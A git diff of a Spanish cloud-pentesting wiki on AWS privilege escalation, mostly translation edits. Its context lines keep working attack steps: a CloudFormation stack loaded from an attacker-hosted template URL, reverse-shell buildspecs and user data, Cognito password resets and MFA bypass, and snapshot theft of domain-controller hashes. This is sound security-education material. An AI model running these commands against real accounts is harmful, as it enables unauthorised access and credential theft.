[--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index f924e000f..f09e3ae70 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) - # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` #### aws_consoler -Puedes **generar un enlace de consola web** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). +Puedes **generar un enlace a la consola web** con [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith ### **Eludir restricciones de User-Agent desde Python** -Si hay una **restricción para realizar ciertas acciones basada en el user agent** utilizado (como restringir el uso de la biblioteca python boto3 según el user agent), es posible usar la técnica anterior para **conectarse a la consola web a través de un navegador**, o podrías **modificar directamente el user-agent de boto3** haciendo: +Si hay una **restricción para realizar ciertas acciones basadas en el user agent** utilizado (como restringir el uso de la biblioteca python boto3 según el user agent), es posible usar la técnica anterior para **conectarse a la consola web a través de un navegador**, o podrías **modificar directamente el user-agent de boto3** haciendo: ```bash # Shared by ex16x41 # Create a client diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index a49567112..822f20d5c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -Para más información, consulta: +Para más información consulta: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -39,7 +39,7 @@ aws apigateway update-rest-api \ ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` -> [!NOTE] +> [!NOTA] > Necesita pruebas Un atacante con los permisos `apigateway:PutIntegration`, `apigateway:CreateDeployment` y `iam:PassRole` puede **agregar una nueva integración a una API REST de API Gateway existente con una función Lambda que tiene un rol IAM adjunto**. El atacante puede entonces **activar la función Lambda para ejecutar código arbitrario y potencialmente obtener acceso a los recursos asociados con el rol IAM**. @@ -60,7 +60,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` -> [!NOTE] +> [!NOTA] > Necesita pruebas Un atacante con los permisos `apigateway:UpdateAuthorizer` y `apigateway:CreateDeployment` puede **modificar un autorizer de API Gateway existente** para eludir las verificaciones de seguridad o para ejecutar código arbitrario cuando se realizan solicitudes de API. @@ -75,11 +75,11 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Impacto Potencial**: Eludir verificaciones de seguridad, acceso no autorizado a recursos de API. +**Impacto Potencial**: Eludir controles de seguridad, acceso no autorizado a recursos de API. ### `apigateway:UpdateVpcLink` -> [!NOTA] +> [!NOTE] > Necesita pruebas Un atacante con el permiso `apigateway:UpdateVpcLink` puede **modificar un VPC Link existente para apuntar a un Balanceador de Carga de Red diferente, redirigiendo potencialmente el tráfico privado de la API a recursos no autorizados o maliciosos**. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index b06f939e6..906741c67 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -12,7 +12,7 @@ Para más información sobre cloudformation, consulta: ### `iam:PassRole`, `cloudformation:CreateStack` -Un atacante con estos permisos **puede escalar privilegios** al crear un **stack de CloudFormation** con una plantilla personalizada, alojada en su servidor, para **ejecutar acciones bajo los permisos de un rol especificado:** +Un atacante con estos permisos **puede escalar privilegios** creando un **stack de CloudFormation** con una plantilla personalizada, alojada en su servidor, para **ejecutar acciones bajo los permisos de un rol especificado:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -37,21 +37,21 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -La `cloudformation:SetStackPolicy` permiso puede ser utilizado para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque. +El permiso `cloudformation:SetStackPolicy` se puede utilizar para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque. **Impacto Potencial:** Privesc al rol de servicio de cloudformation especificado. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Si tienes este permiso pero **sin `iam:PassRole`** aún puedes **actualizar las pilas** utilizadas y abusar de los **roles de IAM que ya tienen adjuntos**. Consulta la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización). +Si tienes este permiso pero **sin `iam:PassRole`**, aún puedes **actualizar las pilas** utilizadas y abusar de los **roles de IAM que ya tienen adjuntos**. Consulta la sección anterior para un ejemplo de explotación (simplemente no indiques ningún rol en la actualización). -La `cloudformation:SetStackPolicy` permiso puede ser utilizado para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque. +El permiso `cloudformation:SetStackPolicy` se puede utilizar para **darte a ti mismo el permiso `UpdateStack`** sobre una pila y realizar el ataque. **Impacto Potencial:** Privesc al rol de servicio de cloudformation ya adjunto. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation abusando de los roles de servicio de cloudformation** al igual que con el CreateStack o UpdateStack. +Un atacante con permisos para **pasar un rol y crear & ejecutar un ChangeSet** puede **crear/actualizar una nueva pila de cloudformation y abusar de los roles de servicio de cloudformation** al igual que con CreateStack o UpdateStack. La siguiente explotación es una **variación de la**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) utilizando los **permisos de ChangeSet** para crear una pila. ```bash @@ -79,13 +79,13 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -La permiso `cloudformation:SetStackPolicy` se puede usar para **darte permisos de `ChangeSet`** sobre una pila y realizar el ataque. +El permiso `cloudformation:SetStackPolicy` se puede usar para **otorgarte permisos de `ChangeSet`** sobre un stack y realizar el ataque. **Impacto Potencial:** Privesc a roles de servicio de cloudformation. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Esto es como el método anterior sin pasar **roles de IAM**, así que solo puedes **abusar de los ya adjuntos**, solo modifica el parámetro: +Esto es como el método anterior sin pasar **roles de IAM**, así que solo puedes **abusar de los que ya están adjuntos**, solo modifica el parámetro: ``` --change-set-type UPDATE ``` @@ -93,7 +93,7 @@ Esto es como el método anterior sin pasar **roles de IAM**, así que solo puede ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -Un atacante podría abusar de estos permisos para crear/actualizar StackSets para abusar de roles de cloudformation arbitrarios. +Un atacante podría abusar de estos permisos para crear/actualizar StackSets y abusar de roles de cloudformation arbitrarios. **Impacto Potencial:** Privesc a los roles de servicio de cloudformation. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index 71ac92c33..662842f66 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project ``` {{#endtab }} -{{#tab name="Ejemplo2" }} +{{#tab name="Example2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command @@ -188,7 +188,7 @@ aws codebuild start-build --project-name codebuild-demo-project ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Al igual que en la sección anterior, pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**. +Como en la sección anterior pero **sin el permiso `iam:PassRole`**, puedes abusar de estos permisos para **modificar proyectos de Codebuild existentes y acceder al rol que ya tienen asignado**. {{#tabs }} {{#tab name="StartBuild" }} @@ -268,7 +268,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project ### SSM -Teniendo **suficientes permisos para iniciar una sesión ssm** es posible **entrar en un proyecto de Codebuild** que se está construyendo. +Teniendo **suficientes permisos para iniciar una sesión ssm**, es posible **entrar en un proyecto de Codebuild** que se está construyendo. El proyecto de codebuild necesitará tener un punto de interrupción: @@ -289,7 +289,7 @@ Para más información [**consulta la documentación**](https://docs.aws.amazon. ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -Un atacante capaz de iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild. +Un atacante que pueda iniciar/reiniciar una construcción de un proyecto específico de CodeBuild que almacena su archivo `buildspec.yml` en un bucket de S3 al que el atacante tiene acceso de escritura, puede obtener ejecución de comandos en el proceso de CodeBuild. Nota: la escalación es relevante solo si el trabajador de CodeBuild tiene un rol diferente, esperemos que más privilegiado, que el del atacante. ```bash @@ -320,7 +320,7 @@ commands: **Impacto:** Privesc directo al rol utilizado por el trabajador de AWS CodeBuild que generalmente tiene altos privilegios. > [!WARNING] -> Tenga en cuenta que el buildspec podría esperarse en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir. +> Tenga en cuenta que se podría esperar que el buildspec esté en formato zip, por lo que un atacante necesitaría descargar, descomprimir, modificar el `buildspec.yml` desde el directorio raíz, volver a comprimir y subir. Más detalles se pueden encontrar [aquí](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 6f4e9a216..cbd977f8e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md @@ -12,11 +12,11 @@ Para más información sobre codepipeline, consulta: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -Al crear un pipeline de código, puedes indicar un **rol IAM de codepipeline para ejecutar**, por lo tanto, podrías comprometerlos. +Al crear un code pipeline, puedes indicar un **rol IAM de codepipeline para ejecutar**, por lo tanto, podrías comprometerlos. Aparte de los permisos anteriores, necesitarías **acceso al lugar donde se almacena el código** (S3, ECR, github, bitbucket...) -Probé esto realizando el proceso en la página web, los permisos indicados anteriormente no son los de List/Get necesarios para crear un pipeline de código, pero para crearlo en la web también necesitarás: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +Probé esto realizando el proceso en la página web, los permisos indicados anteriormente no son los de List/Get necesarios para crear un codepipeline, pero para crearlo en la web también necesitarás: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` Durante la **creación del proyecto de construcción**, puedes indicar un **comando para ejecutar** (¿rev shell?) y ejecutar la fase de construcción como **usuario privilegiado**, esa es la configuración que el atacante necesita para comprometer: @@ -26,7 +26,7 @@ Durante la **creación del proyecto de construcción**, puedes indicar un **coma ### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution` -Podría ser posible modificar el rol utilizado y el comando ejecutado en un pipeline de código con los permisos anteriores. +Podría ser posible modificar el rol utilizado y el comando ejecutado en un codepipeline con los permisos anteriores. ### `codepipeline:pollforjobs` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index a042e9ce4..da770f803 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -52,12 +52,12 @@ codestar-createproject-codestar-associateteammember.md 1. **Crear un Nuevo Proyecto:** - Utiliza la acción **`codestar:CreateProjectFromTemplate`** para iniciar la creación de un nuevo proyecto. - Tras la creación exitosa, se otorga automáticamente acceso para **`cloudformation:UpdateStack`**. -- Este acceso se dirige específicamente a una pila asociada con el rol IAM `CodeStarWorker--CloudFormation`. +- Este acceso se dirige específicamente a una pila asociada con el rol IAM `CodeStarWorker--CloudFormation`. 2. **Actualizar la Pila Objetivo:** - Con los permisos de CloudFormation otorgados, procede a actualizar la pila especificada. - El nombre de la pila generalmente se ajustará a uno de dos patrones: -- `awscodestar--infrastructure` -- `awscodestar--lambda` +- `awscodestar--infrastructure` +- `awscodestar--lambda` - El nombre exacto depende de la plantilla elegida (referenciando el script de explotación de ejemplo). 3. **Acceso y Permisos:** - Después de la actualización, obtienes las capacidades asignadas al **rol IAM de CloudFormation** vinculado con la pila. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index b4b44f689..7e889694b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -4,7 +4,7 @@ Con estos permisos puedes **abusar de un rol IAM de codestar** para realizar **acciones arbitrarias** a través de una **plantilla de cloudformation**. -Para explotar esto, necesitas crear un **bucket S3 que sea accesible** desde la cuenta atacada. Sube un archivo llamado `toolchain.json`. Este archivo debe contener el **exploit de la plantilla de cloudformation**. El siguiente se puede usar para establecer una política administrada a un usuario bajo tu control y **darle permisos de administrador**: +Para explotar esto, necesitas crear un **bucket S3 que sea accesible** desde la cuenta atacada. Sube un archivo llamado `toolchain.json`. Este archivo debe contener la **plantilla de exploit de cloudformation**. La siguiente puede ser utilizada para establecer una política administrada a un usuario bajo tu control y **darle permisos de administrador**: ```json:toolchain.json { "Resources": { @@ -79,6 +79,6 @@ aws codestar create-project \ --source-code file://$SOURCE_CODE_PATH \ --toolchain file://$TOOLCHAIN_PATH ``` -Este exploit se basa en el **exploit de Pacu de estos privilegios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) En él puedes encontrar una variación para crear una política administrada por el administrador para un rol en lugar de para un usuario. +Este exploit se basa en el **exploit de Pacu de estos privilegios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) En él puedes encontrar una variación para crear una política administrada por un administrador para un rol en lugar de para un usuario. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index 79964b6a0..9c4ee9844 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -12,7 +12,7 @@ Para más información sobre Cognito, consulta: ### Recolección de credenciales del Identity Pool -Como Cognito puede otorgar **credenciales de rol de IAM** tanto a **usuarios autenticados** como a **no autenticados**, si localizas el **ID del Identity Pool** de una aplicación (debería estar codificado en ella), puedes obtener nuevas credenciales y, por lo tanto, privesc (dentro de una cuenta de AWS donde probablemente no tenías ninguna credencial previamente). +Como Cognito puede otorgar **credenciales de rol IAM** tanto a **usuarios autenticados** como a **no autenticados**, si localizas el **ID del Identity Pool** de una aplicación (debería estar codificado en ella), puedes obtener nuevas credenciales y, por lo tanto, privesc (dentro de una cuenta de AWS donde probablemente no tenías ninguna credencial previamente). Para más información [**consulta esta página**](../aws-unauthenticated-enum-access/#cognito). @@ -73,7 +73,7 @@ aws cognito-identity update-identity-pool \ ### `cognito-idp:AdminAddUserToGroup` -Este permiso permite **agregar un usuario de Cognito a un grupo de Cognito**, por lo tanto, un atacante podría abusar de este permiso para agregar un usuario bajo su control a otros grupos con **mejores** privilegios o **diferentes roles IAM**: +Este permiso permite **agregar un usuario de Cognito a un grupo de Cognito**, por lo tanto, un atacante podría abusar de este permiso para agregar a un usuario bajo su control a otros grupos con **mejores** privilegios o **diferentes roles IAM**: ```bash aws cognito-idp admin-add-user-to-group \ --user-pool-id \ @@ -92,7 +92,7 @@ aws cognito-idp create-group --group-name Hacked --user-pool-id - ### `cognito-idp:AdminConfirmSignUp` -Este permiso permite **verificar un registro**. Por defecto, cualquiera puede iniciar sesión en aplicaciones de Cognito; si eso se deja, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso. +Este permiso permite **verificar un registro**. Por defecto, cualquier persona puede iniciar sesión en aplicaciones de Cognito; si eso se deja, un usuario podría crear una cuenta con cualquier dato y verificarla con este permiso. ```bash aws cognito-idp admin-confirm-sign-up \ --user-pool-id \ @@ -129,7 +129,7 @@ Este permiso permite iniciar sesión con el [**método ADMIN_USER_PASSWORD_AUTH* ### `cognito-idp:AdminSetUserPassword` -Este permiso permitiría a un atacante **cambiar la contraseña de cualquier usuario**, permitiéndole hacerse pasar por cualquier usuario (que no tenga MFA habilitado). +Este permiso permitiría a un atacante **cambiar la contraseña de cualquier usuario**, permitiéndole suplantar a cualquier usuario (que no tenga MFA habilitado). ```bash aws cognito-idp admin-set-user-password \ --user-pool-id \ @@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \ --username \ --mfa-options ``` -**SetUserMFAPreference:** Similar a la anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario y eludir la protección de MFA. +**SetUserMFAPreference:** Similar al anterior, este permiso se puede utilizar para establecer las preferencias de MFA de un usuario para eludir la protección de MFA. ```bash aws cognito-idp admin-set-user-mfa-preference \ [--sms-mfa-settings ] \ @@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** También es posible actualizar el grupo de usuarios para cambiar la política de MFA. [Consulta cli aquí](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). +**UpdateUserPool:** También es posible actualizar el grupo de usuarios para cambiar la política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). **Potential Impact:** Privesc indirecto a potencialmente cualquier usuario cuyas credenciales conozca el atacante, esto podría permitir eludir la protección de MFA. @@ -178,11 +178,11 @@ aws cognito-idp admin-update-user-attributes \ --username \ --user-attributes ``` -**Impacto Potencial:** Privesc indirecto potencial en la aplicación subyacente que utiliza Cognito User Pool que otorga privilegios basados en atributos de usuario. +**Impacto Potencial:** Potencial privesc indirecto en la aplicación subyacente que utiliza Cognito User Pool, que otorga privilegios basados en atributos de usuario. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -Un atacante con este permiso podría **crear un nuevo Cliente de User Pool menos restringido** que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método para autenticar, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo... +Un atacante con este permiso podría **crear un nuevo User Pool Client menos restringido** que los clientes de pool existentes. Por ejemplo, el nuevo cliente podría permitir cualquier tipo de método para autenticar, no tener ningún secreto, tener la revocación de tokens deshabilitada, permitir que los tokens sean válidos por un período más largo... Lo mismo se puede hacer si en lugar de crear un nuevo cliente, se **modifica uno existente**. @@ -234,28 +234,28 @@ aws cognito-idp create-identity-provider \ ### cognito-sync:\* Análisis -Este es un permiso muy común por defecto en los roles de los Grupos de Identidad de Cognito. Aunque un comodín en los permisos siempre se ve mal (especialmente viniendo de AWS), los **permisos otorgados no son muy útiles desde la perspectiva de un atacante**. +Este es un permiso muy común por defecto en los roles de Cognito Identity Pools. Aunque un comodín en los permisos siempre se ve mal (especialmente viniendo de AWS), los **permisos otorgados no son muy útiles desde la perspectiva de un atacante**. -Este permiso permite leer información de uso de los Grupos de Identidad e IDs de Identidad dentro de los Grupos de Identidad (lo cual no es información sensible).\ -Los IDs de Identidad pueden tener [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) asignados a ellos, que son información de las sesiones (AWS lo define como un **juego guardado**). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la [**página de enumeración**](../aws-services/aws-cognito-enum/) cómo acceder a esta información. +Este permiso permite leer información de uso de los Identity Pools y los Identity IDs dentro de los Identity Pools (lo cual no es información sensible).\ +Los Identity IDs pueden tener [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) asignados a ellos, que son información de las sesiones (AWS lo define como un **juego guardado**). Podría ser posible que esto contenga algún tipo de información sensible (pero la probabilidad es bastante baja). Puedes encontrar en la [**página de enumeración**](../aws-services/aws-cognito-enum/) cómo acceder a esta información. -Un atacante también podría usar estos permisos para **inscribirse en un flujo de Cognito que publica cambios** en estos datasets o una **lambda que se activa en eventos de cognito**. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible. +Un atacante también podría usar estos permisos para **inscribirse en un flujo de Cognito que publica cambios** en estos datasets o en una **lambda que se activa en eventos de cognito**. No he visto que esto se use, y no esperaría información sensible aquí, pero no es imposible. ### Herramientas Automáticas - [Pacu](https://github.com/RhinoSecurityLabs/pacu), el marco de explotación de AWS, ahora incluye los módulos "cognito\_\_enum" y "cognito\_\_attack" que automatizan la enumeración de todos los activos de Cognito en una cuenta y marcan configuraciones débiles, atributos de usuario utilizados para el control de acceso, etc., y también automatizan la creación de usuarios (incluido el soporte MFA) y la escalada de privilegios basada en atributos personalizados modificables, credenciales de grupo de identidades utilizables, roles asumibles en tokens de id, etc. -Para una descripción de las funciones de los módulos, consulta la parte 2 de la [entrada del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Para una descripción de las funciones de los módulos, consulta la parte 2 del [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instrucciones de instalación, consulta la página principal de [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Uso -Ejemplo de uso de cognito\_\_attack para intentar la creación de usuarios y todos los vectores de privesc contra un grupo de identidades y cliente de grupo de usuarios dados: +Ejemplo de uso de cognito\_\_attack para intentar la creación de usuarios y todos los vectores de privesc contra un grupo de identidades y un cliente de grupo de usuarios dados: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Ejemplo de uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual: +Uso de cognito\_\_enum para recopilar todos los grupos de usuarios, clientes de grupos de usuarios, grupos de identidades, usuarios, etc. visibles en la cuenta de AWS actual: ```bash Pacu (new:test) > run cognito__enum ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index b4ee00463..4bcc9d4b3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -50,7 +50,7 @@ Después de la creación del pipeline, el atacante actualiza su definición para } ``` > [!NOTE] -> Tenga en cuenta que el **rol** en **la línea 14, 15 y 27** debe ser un rol **asumible por datapipeline.amazonaws.com** y el rol en **la línea 28** debe ser un **rol asumible por ec2.amazonaws.com con un perfil de instancia EC2**. +> Tenga en cuenta que el **rol** en **la línea 14, 15 y 27** necesita ser un rol **asumible por datapipeline.amazonaws.com** y el rol en **la línea 28** necesita ser un **rol asumible por ec2.amazonaws.com con un perfil de instancia EC2**. > > Además, la instancia EC2 solo tendrá acceso al rol asumible por la instancia EC2 (por lo que solo puede robar ese). ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 372742744..508f40f2e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -12,7 +12,7 @@ Para más información sobre dynamodb, consulta: ### Post Explotación -Hasta donde sé, **no hay una forma directa de escalar privilegios en AWS solo por tener algunos permisos de AWS `dynamodb`**. Puedes **leer información sensible** de las tablas (que podrían contener credenciales de AWS) y **escribir información en las tablas** (lo que podría desencadenar otras vulnerabilidades, como inyecciones de código lambda...) pero todas estas opciones ya están consideradas en la **página de Post Explotación de DynamoDB**: +Hasta donde sé, **no hay una forma directa de escalar privilegios en AWS solo con tener algunos permisos de AWS `dynamodb`**. Puedes **leer información sensible** de las tablas (que podrían contener credenciales de AWS) y **escribir información en las tablas** (lo que podría desencadenar otras vulnerabilidades, como inyecciones de código lambda...) pero todas estas opciones ya están consideradas en la **página de Post Explotación de DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index e29e43b37..e4f1d098e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -20,7 +20,7 @@ La herramienta [https://github.com/Static-Flow/CloudCopy](https://github.com/Sta ### **`ec2:CreateSnapshot`** -Cualquier usuario de AWS que posea el permiso **`EC2:CreateSnapshot`** puede robar los hashes de todos los usuarios del dominio creando una **instantánea del Controlador de Dominio**, montándola en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket. +Cualquier usuario de AWS que posea el **`EC2:CreateSnapshot`** permiso puede robar los hashes de todos los usuarios del dominio creando una **instantánea del Controlador de Dominio**, montándola en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket. Puedes usar esta herramienta para automatizar el ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) o podrías usar una de las técnicas anteriores después de crear una instantánea. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 338da7a21..d157a9f3a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -Para más **info sobre EC2** consulta: +Para más **información sobre EC2** consulta: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ --count 1 \ --user-data "file:///tmp/rev.sh" ``` -Ten cuidado con GuardDuty si usas las credenciales del rol IAM fuera de la instancia: +Ten cuidado con GuardDuty si usas las credenciales del rol de IAM fuera de la instancia: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -65,7 +65,7 @@ Para aprender a **forzar los servicios de ECS a ejecutarse** en esta nueva insta aws-ecs-privesc.md {{#endref}} -Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías ser 